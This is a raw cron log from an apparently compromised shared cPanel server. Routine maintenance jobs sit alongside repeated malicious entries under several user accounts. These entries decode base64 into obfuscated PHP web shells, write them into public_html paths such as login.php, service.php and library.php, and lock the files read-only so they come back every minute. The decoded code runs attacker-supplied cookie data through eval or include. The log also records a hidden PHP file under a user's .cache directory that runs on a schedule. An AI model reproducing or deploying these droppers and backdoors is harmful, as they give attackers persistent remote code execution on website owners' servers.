Mar  2 03:40:01 medusa CROND[4919]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:40:01 medusa CROND[4920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 03:40:01 medusa CROND[4918]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:40:01 medusa CROND[4921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:40:01 medusa CROND[4922]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4925]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:40:01 medusa CROND[4928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4929]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:40:01 medusa CROND[4930]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:40:01 medusa CROND[4934]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4933]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:40:01 medusa CROND[4935]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 03:40:01 medusa CROND[4939]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:40:01 medusa CROND[4945]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:40:01 medusa CROND[4956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:40:01 medusa CROND[4937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4952]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 03:40:01 medusa CROND[4943]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:40:01 medusa CROND[4963]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:40:01 medusa CROND[4965]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:40:01 medusa CROND[4967]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:41:02 medusa anacron[22129]: Job `cron.daily' started
Mar  2 03:41:02 medusa CROND[22689]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:41:02 medusa CROND[22690]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:41:02 medusa CROND[22694]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:41:02 medusa CROND[22699]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:41:02 medusa CROND[22700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:41:02 medusa CROND[22703]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 03:41:02 medusa CROND[22705]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:41:02 medusa CROND[22706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:41:02 medusa CROND[22708]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:41:02 medusa CROND[22723]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:41:02 medusa CROND[22720]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:41:02 medusa CROND[22724]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:41:02 medusa CROND[22725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:41:02 medusa CROND[22738]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:41:02 medusa run-parts(/etc/cron.daily)[22686]: starting imunify-antivirus.cron
Mar  2 03:42:02 medusa CROND[8917]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:42:02 medusa CROND[8951]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5Owog